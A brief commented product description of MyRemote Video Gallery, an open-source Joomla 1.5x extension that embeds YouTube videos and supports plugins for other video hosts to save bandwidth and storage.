#MyRemote Video Gallery is the most Powerful Video Extension made for Joomla 1.5x
#which will allow you to transform your Website into a professional looking Video
#Gallery with functionality that is similar to YouTube.com. MyRemote Video Gallery
#is an open source (GNU GPL) video sharing Joomla extension has been created
#specifically for the Joomla 1.5x (MVC) Framework and can not be used without Joomla.

#MyRemote Video Gallery gives you the option to Embed Videos from Youtube and offers
#the Framework so you can create your own Remote Plugins for other Remote Servers like
#Dailymotion, Google Video, Vimeo, Blip.tv, Clipser, Revver, a which will allow you to
#run your site for low cost since all the bandwidth usage and hard drive space is located
#on the video server sites. So if you already have a large library of Videos on some
#Remote Sites like Youtube.com you can build the Video Part of your Site Very Quickly.
